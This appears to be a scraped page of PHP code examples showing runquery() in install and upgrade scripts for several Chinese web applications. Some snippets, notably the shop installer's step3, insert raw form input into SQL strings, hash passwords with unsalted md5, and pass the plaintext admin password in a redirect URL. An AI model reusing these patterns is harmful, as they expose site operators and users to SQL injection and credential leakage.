Ejemplo n.º 1
0
 function on_upgrade($nowversion)
 {
     if ($nowversion == '0') {
         DB::query("DELETE FROM  `setting` WHERE  `k` LIKE  'zw_blockid%';");
         return '1.2.0';
     }
     if ($nowversion == '1.2.0') {
         return '1.2.4';
     }
     if ($nowversion == '1.2.4') {
         runquery("UPDATE cron SET id='zw_blockid/cron/zw_blockid' WHERE id='zw_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/cron/zw_blockid_daily' WHERE id='zw_blockid_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/cron/zw_blockid_mail' WHERE id='zw_blockid_mail';");
         return '1.2.5';
     }
     if ($nowversion == '1.2.5') {
         runquery("UPDATE cron SET id='zw_blockid/cron_blockid' WHERE id='zw_blockid' OR id='zw_blockid/cron/zw_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/cron_daily' WHERE id='zw_blockid_daily' OR id='zw_blockid/cron/zw_blockid_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/cron_mail' WHERE id='zw_blockid_mail' OR id='zw_blockid/cron/zw_blockid_mail';");
         return '1.2.6';
     }
     if ($nowversion == '1.2.6') {
         runquery("UPDATE cron SET id='zw_blockid/blockid' WHERE id='zw_blockid/cron_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/daily' WHERE id='zw_blockid/cron_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/mail' WHERE id='zw_blockid/cron_mail';");
         return '1.2.8';
     }
     if ($nowversion == '1.2.8') {
         runquery("CREATE TABLE IF NOT exists `zw_blockid_list_tmp` (\n  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n  `uid` int(10) unsigned NOT NULL,\n  `fid` int(10) unsigned NOT NULL,\n  `blockid` varchar(20) NOT NULL,\n  `tieba` varchar(200) NOT NULL,\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `uid` (`uid`,`fid`,`blockid`,`tieba`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\nINSERT INTO `zw_blockid_list_tmp`(uid, fid, blockid, tieba) SELECT DISTINCT uid, fid, blockid, tieba FROM `zw_blockid_list`;\nDELETE FROM `zw_blockid_list`;\nINSERT INTO `zw_blockid_list`(uid, fid, blockid, tieba) SELECT DISTINCT uid, fid, blockid, tieba FROM `zw_blockid_list_tmp`;\nDROP TABLE `zw_blockid_list_tmp`;\nALTER TABLE `zw_blockid_list` ADD UNIQUE (`uid` ,`fid` ,`blockid` ,`tieba`);\n");
     }
 }
Ejemplo n.º 2
0
function update_adv()
{
    if (strtoupper(DBCHARSET) == 'GBK') {
        $sqlfile = 'gbk_add.sql';
    } else {
        $sqlfile = 'utf8_add.sql';
    }
    $sql = file_get_contents($sqlfile);
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql);
}
Ejemplo n.º 3
0
function run_file($sqlfile)
{
    if (!$sqlfile) {
        return;
    }
    $sqlfile = M_ROOT . './updatedata/' . $sqlfile;
    $fp = fopen($sqlfile, 'rb');
    $sql = fread($fp, filesize($sqlfile));
    fclose($fp);
    runquery($sql);
}
Ejemplo n.º 4
0
function update_db()
{
    $sqlfile = 'utf8.sql';
    global $tablepre, $db, $config;
    $sql = file_get_contents($sqlfile);
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql);
    $db->query('update ' . $tablepre . 'goods set is_own_shop = 1 where store_id = ' . $config['default_store_id']);
    $db->query('update ' . $tablepre . 'goods_common set is_own_shop = 1 where store_id = ' . $config['default_store_id']);
    $db->query('update ' . $tablepre . 'store set is_own_shop = 1 where store_id = ' . $config['default_store_id']);
    $db->query('update ' . $tablepre . 'store set bind_all_gc = 1 where store_id = ' . $config['default_store_id']);
}
Ejemplo n.º 5
0
 function on_upgrade($nowversion)
 {
     switch ($nowversion) {
         case '1.1.0':
             runquery("ALTER TABLE  `zw_custompage_setting` CHANGE  `footer_switch`  `footer_js_switch` TINYINT( 1 ) UNSIGNED NOT NULL DEFAULT  '1';\nALTER TABLE  `zw_custompage_setting` ADD  `footer_text_switch` TINYINT( 1 ) NOT NULL AFTER  `footer_js_switch`;\nALTER TABLE  `zw_custompage_setting` CHANGE  `page_footer`  `page_footer_js` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL;\nALTER TABLE  `zw_custompage_setting` ADD  `page_footer_text` TEXT NULL AFTER  `page_footer_js`;");
             return '1.1.1';
         case '1.1.1':
             $setting = DB::fetch_first("SELECT * FROM `zw_custompage_setting` WHERE 1");
             $this->saveSetting('setting', json_encode(array('page_switch' => $setting['page_switch'], 'footer_js_switch' => $setting['footer_js_switch'], 'footer_text_switch' => $setting['footer_text_switch'], 'bg_switch' => $setting['bg_switch'], 'page_footer_js' => $setting['page_footer_js'], 'page_footer_text' => $setting['page_footer_text'], 'bg_images' => $setting['bg_images'])));
             runquery("DROP TABLE `zw_custompage_setting`;\nDELETE FROM `setting` WHERE `k` LIKE 'zw_custompage%';\n");
             return '1.2.0';
     }
 }
Ejemplo n.º 6
0
 public function install()
 {
     $query = DB::query('SHOW TABLES');
     $tables = array();
     while ($table = DB::fetch($query)) {
         $tables[] = implode('', $table);
     }
     if (!in_array('fsql_zan_bar', $tables)) {
         runquery("\n\t\t\tCREATE TABLE IF NOT EXISTS `fsql_zan_bar` (\n\t\t\t\t`sid` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,\n\t\t\t\t`uid` int(10) unsigned NOT NULL,\n\t\t\t\t`name` varchar(127) NOT NULL,\n\t\t\t\t`unicode_name` varchar(512) NOT NULL\n\t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n\n\t\t\tCREATE TABLE IF NOT EXISTS `fsql_zan_log` (\n\t\t\t\t`sid` int(10) unsigned NOT NULL,\n\t\t\t\t`uid` int(10) unsigned NOT NULL,\n\t\t\t\t`date` int(11) NOT NULL DEFAULT '0',\n\t\t\t\t`count` int(11) NOT NULL DEFAULT '0',\n\t\t\t\tUNIQUE KEY `sid` (`sid`,`date`),\n\t\t\t\tKEY `uid` (`uid`)\n\t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n\n\t\t");
         $this->saveSetting('limit', '0');
         $this->saveSetting('sleep', '2');
         $this->saveSetting('sp', '1');
     }
 }
Ejemplo n.º 7
0
 function on_upgrade($from_version)
 {
     switch ($from_version) {
         case '0':
         case '0.2.2_13':
         case '0.2.3':
         case '0.3.0':
             runquery("\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_daily' WHERE id='xxx_post_daily';\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_first' WHERE id='xxx_post';\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_se' WHERE id='xxx_post_se';\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_sxbk' WHERE id='xxx_post_sxbk';\n\t\t\t\t\t");
             $this->saveSetting('sxbk', '0');
             $this->saveSetting('se', '21');
             $this->saveSetting('first_end', '15');
             return '0.3.1';
         default:
             throw new Exception("Unknown plugin version: {$from_version}");
     }
 }
Ejemplo n.º 8
0
function step3(&$install_error, &$install_recover)
{
    global $html_title, $html_header, $html_footer;
    if ($_POST['submitform'] != 'submit') {
        return;
    }
    $db_host = $_POST['db_host'];
    $db_port = $_POST['db_port'];
    $db_user = $_POST['db_user'];
    $db_pwd = $_POST['db_pwd'];
    $db_name = $_POST['db_name'];
    $db_prefix = $_POST['db_prefix'];
    $admin = $_POST['admin'];
    $password = $_POST['password'];
    if (!$db_host || !$db_port || !$db_user || !$db_pwd || !$db_name || !$db_prefix || !$admin || !$password) {
        $install_error = '输入不完整,请检查';
    }
    if (strpos($db_prefix, '.') !== false) {
        $install_error .= '数据表前缀为空,或者格式错误,请检查';
    }
    if (strlen($admin) > 15 || preg_match("/^\$|^c:\\con\\con\$| |[,\"\\s\t\\<\\>&]|^游客|^Guest/is", $admin)) {
        $install_error .= '非法用户名,用户名长度不应当超过 15 个英文字符,且不能包含特殊字符,一般是中文,字母或者数字';
    }
    if ($install_error != '') {
        reutrn;
    }
    if (!@mysql_connect($db_host . ":" . $db_port, $db_user, $db_pwd)) {
        $install_error = '数据库连接失败';
        return;
    }
    if (mysql_get_server_info() > '5.0') {
        mysql_query("CREATE DATABASE IF NOT EXISTS `{$db_name}` DEFAULT CHARACTER SET " . DBCHARSET);
    } else {
        $install_error = '数据库必须为MySQL5.0版本以上';
        return;
    }
    if (mysql_errno()) {
        $install_error = mysql_error();
        return;
    }
    if ($_POST['install_recover'] != 'yes' && ($query = mysql_query("SHOW TABLES FROM {$db_name}"))) {
        while ($row = mysql_fetch_row($query)) {
            if (preg_match("/^{$db_prefix}/", $row[0])) {
                $install_error = '数据表已存在,继续安装将会覆盖已有数据';
                $install_recover = 'yes';
                return;
            }
        }
    }
    require 'step_4.php';
    $sitepath = strtolower(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')));
    $sitepath = str_replace('/install', "", $sitepath);
    $auto_site_url = strtolower('http://' . $_SERVER['HTTP_HOST'] . $sitepath);
    write_config($auto_site_url);
    //execute sql
    $db = new db();
    $db->connect($db_host . ":" . $db_port, $db_user, $db_pwd, $db_name, DBCHARSET);
    if (strtoupper(DBCHARSET) == 'GBK') {
        $_charset = 'gbk';
    } else {
        $_charset = 'utf8';
    }
    $sql = file_get_contents("data/{$_charset}.sql");
    $sql .= "\r\n" . file_get_contents("data/{$_charset}_cms.sql");
    $sql .= "\r\n" . file_get_contents("data/{$_charset}_circle.sql");
    $sql .= "\r\n" . file_get_contents("data/{$_charset}_microshop.sql");
    if ($_POST['demo_data'] == '1') {
        $sql .= file_get_contents("data/{$_charset}_add.sql");
    }
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql, $db_prefix, $db);
    showjsmessage('初始化数据 ... 成功 ');
    /**
     * 转码
     */
    if (strtoupper(DBCHARSET) == 'GBK') {
        $sitename = iconv('UTF-8', 'GBK', $_POST['site_name']);
        $username = iconv('UTF-8', 'GBK', $_POST['admin']);
        $password = iconv('UTF-8', 'GBK', $_POST['password']);
        $store_name = iconv('UTF-8', 'GBK', $_POST['store_name']);
        $member_name = iconv('UTF-8', 'GBK', $_POST['member_name']);
        $seller_name = iconv('UTF-8', 'GBK', $_POST['seller_name']);
        $member_password = iconv('UTF-8', 'GBK', $_POST['member_password']);
    } else {
        $sitename = $_POST['site_name'];
        $username = $_POST['admin'];
        $password = $_POST['password'];
        $store_name = $_POST['store_name'];
        $member_name = $_POST['member_name'];
        $seller_name = $_POST['seller_name'];
        $member_password = $_POST['member_password'];
    }
    /**
     * 产生随机的md5_key,来替换系统默认的md5_key值
     */
    $md5_key = md5(random(4) . substr(md5($_SERVER['SERVER_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $db_host . $db_user . $db_pwd . $db_name . substr(time(), 0, 6)), 8, 6) . random(10));
    $db->query("UPDATE {$db_prefix}setting SET value='" . $sitename . "' WHERE name='site_name'");
    $db->query("UPDATE {$db_prefix}setting SET value='" . $md5_key . "' WHERE name='md5_key'");
    //管理员帐号密码
    $db->query("INSERT INTO {$db_prefix}admin (`admin_id`,`admin_name`,`admin_password`,`admin_login_time`,`admin_login_num`,`admin_is_super`) VALUES ('1','{$username}','" . md5($password) . "', '" . time() . "' ,'0',1);");
    // 创建店铺
    $db->query("INSERT INTO {$db_prefix}member (`member_id`,`member_name`,`member_passwd`,`member_email`,`member_time`,`member_login_time`,`member_old_login_time`) VALUES ('1', '{$member_name}','" . md5($member_password) . "', '', '" . time() . "', '" . time() . "', '" . time() . "')");
    $db->query("INSERT INTO {$db_prefix}member_common (`member_id`) VALUES ('1')");
    $db->query("INSERT INTO {$db_prefix}store (`store_id`,`store_name`,`grade_id`,`member_id`,`member_name`,`seller_name`,`store_state`,`store_time`) VALUES ('1','{$store_name}','1','1','{$member_name}','{$seller_name}','1', '" . time() . "')");
    $db->query("INSERT INTO {$db_prefix}store_joinin (`member_id`,`member_name`,`seller_name`,`store_name`,`joinin_state`) VALUES ('1', '{$member_name}', '{$seller_name}', '{$store_name}', '40')");
    $db->query("INSERT INTO {$db_prefix}seller (`seller_id`,`seller_name`,`member_id`,`seller_group_id`,`store_id`,`is_admin`) VALUES ('1', '{$seller_name}', '1', '0', '1', '1')");
    $db->query("INSERT INTO {$db_prefix}store_bind_class (`bid`, `store_id`, `commis_rate`, `class_1`, `class_2`, `class_3`, `state`) VALUES ('1', '1', '0', '0', '0', '0', '1')");
    $db->query("UPDATE `{$db_prefix}navigation` SET nav_url=CONCAT('{$auto_site_url}/',nav_url)");
    $db->query("UPDATE `{$db_prefix}cms_navigation` SET navigation_link=CONCAT('{$auto_site_url}/',navigation_link)");
    if ($_POST['demo_data'] == '1') {
        $db->query("UPDATE {$db_prefix}store SET `live_store_name`='俏江南',`live_store_address`='天津市南开区南门外大街2号大悦城购物中心北区4L-27',`live_store_tel`='400-800800',`live_store_bus`='829路、832路、837路、855路、841路、860路 地铁2号线' WHERE `store_id`=1");
        $db->query("UPDATE `{$db_prefix}goods` SET `store_name` = '{$store_name}'");
        $db->query("UPDATE `{$db_prefix}goods_common` SET `store_name` = '{$store_name}'");
        $db->query("UPDATE `{$db_prefix}groupbuy` SET `store_name` = '{$store_name}'");
        $db->query("UPDATE `{$db_prefix}groupbuy_quota` SET `member_name` = '{$member_name}' ,`store_name` = '{$store_name}';");
        $db->query("UPDATE `{$db_prefix}p_xianshi` SET `member_name` = '{$member_name}' ,`store_name` = '{$store_name}';");
        $db->query("UPDATE `{$db_prefix}p_xianshi_quota` SET `member_name` = '{$member_name}' ,`store_name` = '{$store_name}';");
    }
    //新增一个标识文件,用来屏蔽重新安装
    $fp = @fopen('lock', 'wb+');
    @fclose($fp);
    exit("<script type=\"text/javascript\">document.getElementById('install_process').innerHTML = '安装完成,下一步...';document.getElementById('install_process').href='index.php?step=5&sitename={$sitename}&username={$username}&password={$password}';</script>");
    exit;
}
Ejemplo n.º 9
0
     show_msg(lang('update', 'reports_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'myappcount') {
     $nextop = 'nav';
     $count = DB::result(DB::query("SELECT COUNT(*) FROM " . DB::table('common_myapp_count')), 0);
     if (!$count) {
         DB::query('INSERT INTO ' . DB::table('common_myapp_count') . ' (appid) SELECT appid FROM ' . DB::table('common_myapp'));
     }
     show_msg(lang('update', 'apps_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'nav') {
     $nextop = 'forumstatus';
     $count = DB::result(DB::query("SELECT COUNT(*) FROM " . DB::table('common_nav') . " WHERE navtype='0' AND type='0' AND identifier=''"), 0);
     if ($count) {
         DB::delete('common_nav', "navtype='0' AND type='0' AND identifier=''");
         $sql = implode('', file(DISCUZ_ROOT . './install/data/install_data.sql'));
         preg_match("/\\[update\\_nav\\](.+?)\\[\\/update\\_nav\\]/is", $sql, $a);
         runquery($a[1]);
     }
     show_msg(lang('update', 'navigation_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'forumstatus') {
     $nextop = 'poststick';
     $query = DB::query("SELECT fid FROM " . DB::table('forum_forum') . " WHERE status='2'");
     if (DB::num_rows($query)) {
         while ($row = DB::fetch($query)) {
             $fids[] = $row['fid'];
         }
         DB::update('forum_forumfield', array('hidemenu' => 1), "fid IN (" . dimplode($fids) . ")");
         DB::update('forum_forum', array('status' => 1), "status='2'");
     }
     show_msg(lang('update', 'group_status_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'poststick') {
     $nextop = 'usergroup_allowvisit';
Ejemplo n.º 10
0
REPLACE INTO ask_usergroup VALUES (25, '大学士', 2, 700000, 1000000,24,20,18, 'index/tagquestion,question/answercomment,user/exchange,expert/default,index/taglist,user/famouslist,user/favorite,question/addfavorite,user/space_ask,user/space_answer,user/saveimg,user/editimg,category/recommend,user/register,index/default,category/view,category/list,question/view,note/list,note/view,rss/category,rss/list,rss/question,user/space,user/scorelist,question/search,question/add,question/tagask,gift/default,gift/search,gift/add,user/register,user/default,user/score,user/ask,user/answer,user/profile,user/uppass,attach/upload,question/answer,question/adopt,question/govote,question/close,question/supply,question/add,question/addscore,question/editanswer,question/search,message/send,message/new,message/personal,message/system,message/outbox,message/view,message/remove');
REPLACE INTO ask_usergroup VALUES (26, '文曲星', 2, 1000000, 999999999,0,0,0, 'index/tagquestion,question/answercomment,user/exchange,expert/default,index/taglist,user/famouslist,user/favorite,question/addfavorite,user/space_ask,user/space_answer,user/saveimg,user/editimg,category/recommend,user/register,index/default,category/view,category/list,question/view,note/list,note/view,rss/category,rss/list,rss/question,user/space,user/scorelist,question/search,question/add,question/tagask,gift/default,gift/search,gift/add,user/register,user/default,user/score,user/ask,user/answer,user/profile,user/uppass,attach/upload,question/answer,question/adopt,question/govote,question/close,question/supply,question/add,question/addscore,question/editanswer,question/search,message/send,message/new,message/personal,message/system,message/outbox,message/view,message/remove');



EOT;
if (!$action) {
    echo '<meta http-equiv=Content-Type content="text/html;charset=' . TIPASK_CHARSET . '">';
    echo "本程序仅用于升级 Tipask V1.4正式版 到 Tipask2.0beta正式版,请确认之前已经顺利安装Tipask V1.4正式版!<br><br><br>";
    echo "<b><font color=\"red\">运行本升级程序之前,请确认已经上传 Tipask2.0beta正式版的全部文件和目录</font></b><br><br>";
    echo "<b><font color=\"red\">本程序只能从 Tipask V1.4正式版 到 Tipask2.0beta正式版,切勿使用本程序从其他版本升级,否则可能会破坏掉数据库资料.<br><br>强烈建议您升级之前备份数据库资料!</font></b><br><br>";
    echo "正确的升级方法为:<br>1. 上传 Tipask2.0beta 正式版的全部文件和目录,覆盖服务器上的 Tipask V1.4正式版版;<br>2. 上传本程序(1.4To2.0beta.php)到 Tipask目录中;<br>3. 运行本程序,直到出现升级完成的提示;<br>4. 登录Tipask后台,更新缓存,升级完成。<br><br>";
    echo "<a href=\"{$PHP_SELF}?action=upgrade\">如果您已确认完成上面的步骤,请点这里升级</a>";
} else {
    $db = new db(DB_HOST, DB_USER, DB_PW, DB_NAME, DB_CHARSET, DB_CONNECT);
    runquery($upgrade);
    $config = "<?php \r\ndefine('DB_HOST',  '" . DB_HOST . "');\r\n";
    $config .= "define('DB_USER',  '" . DB_USER . "');\r\n";
    $config .= "define('DB_PW',  '" . DB_PW . "');\r\n";
    $config .= "define('DB_NAME',  '" . DB_NAME . "');\r\n";
    $config .= "define('DB_CHARSET', '" . DB_CHARSET . "');\r\n";
    $config .= "define('DB_TABLEPRE',  '" . DB_TABLEPRE . "');\r\n";
    $config .= "define('DB_CONNECT', 0);\r\n";
    $config .= "define('TIPASK_CHARSET', '" . TIPASK_CHARSET . "');\r\n";
    $config .= "define('TIPASK_VERSION', '2.0Beta');\r\n";
    $config .= "define('TIPASK_RELEASE', '20120322');\r\n";
    $fp = fopen(TIPASK_ROOT . '/config.php', 'w');
    fwrite($fp, $config);
    fclose($fp);
    cleardir(TIPASK_ROOT . '/data/cache');
    cleardir(TIPASK_ROOT . '/data/view');
Ejemplo n.º 11
0
} elseif ($current_version == '1.13.11.5') {
    DB::query('
CREATE TABLE IF NOT EXISTS `plugin` (
  id int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(64) NOT NULL,
  module text NOT NULL,
  PRIMARY KEY (id),
  UNIQUE KEY `name` (`name`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
');
    DB::insert('plugin', array('name' => 'debug_info'));
    DB::insert('plugin', array('name' => 'update_log'));
    saveSetting('version', '1.13.11.9');
    showmessage('成功更新到 1.13.11.9!', './');
} elseif ($current_version == '1.13.11.9') {
    runquery("\nALTER TABLE `plugin` ADD `enable` TINYINT(1) NOT NULL DEFAULT '1' AFTER `id`;\nALTER TABLE `plugin` ADD `version` VARCHAR(8) NOT NULL DEFAULT '0';\nALTER TABLE `member_setting` ADD `cookie` TEXT BINARY CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;\n");
    $query = DB::query('SELECT uid, cookie FROM member');
    while ($result = DB::fetch($query)) {
        save_cookie($result['uid'], $result['cookie']);
    }
    DB::query('ALTER TABLE `member` DROP `cookie`');
    $query = DB::query('SHOW columns FROM `plugin`');
    while ($result = DB::fetch($query)) {
        if ($result['Field'] == 'module') {
            DB::query('ALTER TABLE `plugin` DROP `module`');
        }
    }
    CACHE::clear();
    CACHE::update('plugins');
    saveSetting('register_limit', 1);
    saveSetting('register_check', 1);
Ejemplo n.º 12
0
DELETE FROM {$db_prefix}settings WHERE title = 'trackback_num' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'trackback_order' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'artlink_ext' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'smarturl' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'js_cache_life' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'js_enable' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'js_lock_url' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'rewrite_enable' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'rewrite_ext' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_article_pagenum' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_article_title_limit' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_comment_pagenum' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_tags_pagenum' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_trackback_pagenum' LIMIT 1;
EOT;
    runquery($add);
    echo '<p class="p2">成功重建数据结构和数据</p><p class="p2"><a href="' . $php_self . '?action=four">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>';
    echo '<meta HTTP-EQUIV="REFRESH" content="2;URL=' . $php_self . '?action=four">';
    echo '</div></body></html>';
    exit;
} elseif ($action == 'four') {
    $query = $DB->query("SELECT * FROM {$db_prefix}trackbacks LIMIT {$start}, {$percount}");
    while ($trackback = $DB->fetch_array($query)) {
        $goon = 1;
        $DB->query("INSERT INTO {$db_prefix}comments (articleid, author, url, dateline, content, ipaddress, type, visible) VALUES ('" . $trackback['articleid'] . "', '" . addslashes($trackback['blog_name']) . "', '" . addslashes($trackback['url']) . "', '" . $trackback['dateline'] . "', '" . addslashes($trackback['title']) . "\n" . addslashes($trackback['excerpt']) . "', '" . addslashes($trackback['ipaddress']) . "', 'trackback', '" . $trackback['visible'] . "')");
    }
    if ($goon) {
        echo '<p class="p2">正在更新 ' . $start . ' 到 ' . $next . ' 项</p><p class="p2"><a href="' . $jumpurl . '">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>';
        echo '<meta HTTP-EQUIV="REFRESH" content="2;URL=' . $jumpurl . '">';
    } else {
        echo '<p class="p2">成功重建所有文章内的数据</p><p class="p2"><a href="' . $php_self . '?action=five">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>';
Ejemplo n.º 13
0
 if (preg_match('/[<>\'\\"]/i', $username)) {
     show_back('注册账号', '用户名中有被禁止使用的关键字');
 }
 if (strlen($username) < 6) {
     show_back('注册账号', '用户名至少要6个字符(即2个中文 或 6个英文),请修改');
 }
 if (strlen($username) > 24) {
     show_back('注册账号', '用户名过长,请修改');
 }
 $install_script = file_get_contents(dirname(__FILE__) . '/install.sql');
 preg_match('/version ([0-9a-z.]+)/i', $install_script, $match);
 $version = trim($match[1]);
 if (!$version) {
     show_back('正在安装', '安装脚本有误,请重新上传');
 }
 $err = runquery($install_script, $link);
 if ($err) {
     show_back('正在安装', '安装过程出现错误:</p><p>' . $err);
 }
 mysql_query("INSERT INTO member SET username='******', password='******', email='{$email}'");
 $uid = mysql_insert_id($link);
 mysql_query("INSERT INTO member_setting SET uid='{$uid}', cookie=''");
 saveSetting('block_register', 1);
 saveSetting('jquery_mode', 2);
 saveSetting('admin_uid', $uid);
 saveSetting('SYS_KEY', $syskey);
 $_config = array('version' => $version, 'db' => array('server' => $db_host, 'port' => $db_port, 'username' => $db_username, 'password' => $db_password, 'name' => $db_name, 'pconnect' => $db_pconnect));
 $content = '<?php' . PHP_EOL . '/* Auto-generated config file */' . PHP_EOL . '$_config = ';
 $content .= var_export($_config, true) . ';' . PHP_EOL . '?>';
 file_put_contents($config_file, $content);
 $content = '<p>贴吧签到助手 已经成功安装!</p><p>要正常签到,请为脚本 cron.php 添加每分钟一次的计划任务。</p><p>系统默认关闭用户注册,如果有需要,请到后台启用用户注册功能。</p><br><p class="btns"><button onclick="location.href=\'../\';">登录 &raquo;</button>';
Ejemplo n.º 14
0
            $configfile = @file_get_contents(ROOT_PATH . './config.php');
            $configfile = trim($configfile);
            $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
            $configfile = preg_replace("/[\$]_SC\\[[\"']founder[\"']\\]\\s*\\=\\s*[\"'].*?[\"'];/is", "\$_SC['founder'] = '{$uid}';", $configfile);
            @file_put_contents(ROOT_PATH . './config.php', $configfile);
        }
        @dir_clear(ROOT_PATH . './data/cache/tpl');
        @dir_clear(ROOT_PATH . './data/cache/block');
        @dir_clear(ROOT_PATH . './data/cache/model');
        @dir_clear(ROOT_PATH . './uc_client/data');
        @dir_clear(ROOT_PATH . './uc_client/data/cache');
        touch($lockfile);
        VIEW_OFF && show_msg('initdbresult_succ');
        //設置SITEKEY等
        $sitekey = substr(_generate_key(), 4, 16);
        runquery("REPLACE INTO " . ORIG_TABLEPRE . "settings (`variable` ,`value`) VALUES ('sitekey', '{$sitekey}')");
        if (!VIEW_OFF) {
            echo '<script type="text/javascript">document.getElementById("laststep").disabled=false;document.getElementById("laststep").value = \'' . lang('install_founder_contact') . '\';</script><script type="text/javascript">setTimeout(function(){window.location=\'index.php?method=ext_info\'}, 2000);</script><iframe src="../" style="display:none"></iframe>' . "\r\n";
            show_footer();
        }
    }
    if (VIEW_OFF) {
        show_msg('missing_parameter', '', 0);
    } else {
        show_form($form_db_init_items, $error_msg);
    }
} elseif ($method == 'ext_info') {
    @(include CONFIG);
    $db = new dbstuff();
    $db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET);
    $skip = getgpc('skip');
Ejemplo n.º 15
0
function step3(&$install_error, &$install_recover)
{
    global $html_title, $html_header, $html_footer;
    if ($_POST['submitform'] != 'submit') {
        return;
    }
    $db_host = $_POST['db_host'];
    $db_port = $_POST['db_port'];
    $db_user = $_POST['db_user'];
    $db_pwd = $_POST['db_pwd'];
    $db_name = $_POST['db_name'];
    $db_prefix = $_POST['db_prefix'];
    $admin = $_POST['admin'];
    $password = $_POST['password'];
    if (!$db_host || !$db_port || !$db_user || !$db_pwd || !$db_name || !$db_prefix || !$admin || !$password) {
        $install_error = '输入不完整,请检查';
    }
    if (strpos($db_prefix, '.') !== false) {
        $install_error .= '数据表前缀为空,或者格式错误,请检查';
    }
    if (strlen($admin) > 15 || preg_match("/^\$|^c:\\con\\con\$| |[,\"\\s\t\\<\\>&]|^游客|^Guest/is", $admin)) {
        $install_error .= '非法用户名,用户名长度不应当超过 15 个英文字符,且不能包含特殊字符,一般是中文,字母或者数字';
    }
    if ($install_error != '') {
        reutrn;
    }
    if (!@mysql_connect($db_host . ":" . $db_port, $db_user, $db_pwd)) {
        $install_error = '数据库连接失败';
        return;
    }
    if (mysql_get_server_info() > '5.0') {
        mysql_query("CREATE DATABASE IF NOT EXISTS `{$db_name}` DEFAULT CHARACTER SET " . DBCHARSET);
    } else {
        $install_error = '数据库必须为MySQL5.0版本以上';
        return;
    }
    if (mysql_errno()) {
        $install_error = mysql_error();
        return;
    }
    if ($_POST['install_recover'] != 'yes' && ($query = mysql_query("SHOW TABLES FROM {$db_name}"))) {
        while ($row = mysql_fetch_row($query)) {
            if (preg_match("/^{$db_prefix}/", $row[0])) {
                $install_error = '数据表已存在,继续安装将会覆盖已有数据';
                $install_recover = 'yes';
                return;
            }
        }
    }
    require 'step_4.php';
    $sitepath = strtolower(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')));
    $sitepath = str_replace('/shop/install', "", $sitepath);
    $auto_site_url = strtolower('http://' . $_SERVER['HTTP_HOST'] . $sitepath);
    write_config($auto_site_url);
    //execute sql
    $db = new db();
    $db->connect($db_host . ":" . $db_port, $db_user, $db_pwd, $db_name, DBCHARSET);
    if (strtoupper(DBCHARSET) == 'GBK') {
        $_charset = 'gbk';
    } else {
        $_charset = 'utf8';
    }
    $sql = file_get_contents("data/{$_charset}.sql");
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql, $db_prefix, $db);
    showjsmessage('初始化数据 ... 成功 ');
    /**
     * 转码
     */
    if (strtoupper(DBCHARSET) == 'GBK') {
        $sitename = iconv('UTF-8', 'GBK', $_POST['site_name']);
        $username = iconv('UTF-8', 'GBK', $_POST['admin']);
        $password = iconv('UTF-8', 'GBK', $_POST['password']);
        $store_name = iconv('UTF-8', 'GBK', $_POST['store_name']);
        $member_name = iconv('UTF-8', 'GBK', $_POST['member_name']);
        $seller_name = iconv('UTF-8', 'GBK', $_POST['seller_name']);
        $member_password = iconv('UTF-8', 'GBK', $_POST['member_password']);
    } else {
        $sitename = $_POST['site_name'];
        $username = $_POST['admin'];
        $password = $_POST['password'];
        $store_name = $_POST['store_name'];
        $member_name = $_POST['member_name'];
        $seller_name = $_POST['seller_name'];
        $member_password = $_POST['member_password'];
    }
    /**
     * 产生随机的md5_key,来替换系统默认的md5_key值
     */
    $md5_key = md5(random(4) . substr(md5($_SERVER['SERVER_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $db_host . $db_user . $db_pwd . $db_name . substr(time(), 0, 6)), 8, 6) . random(10));
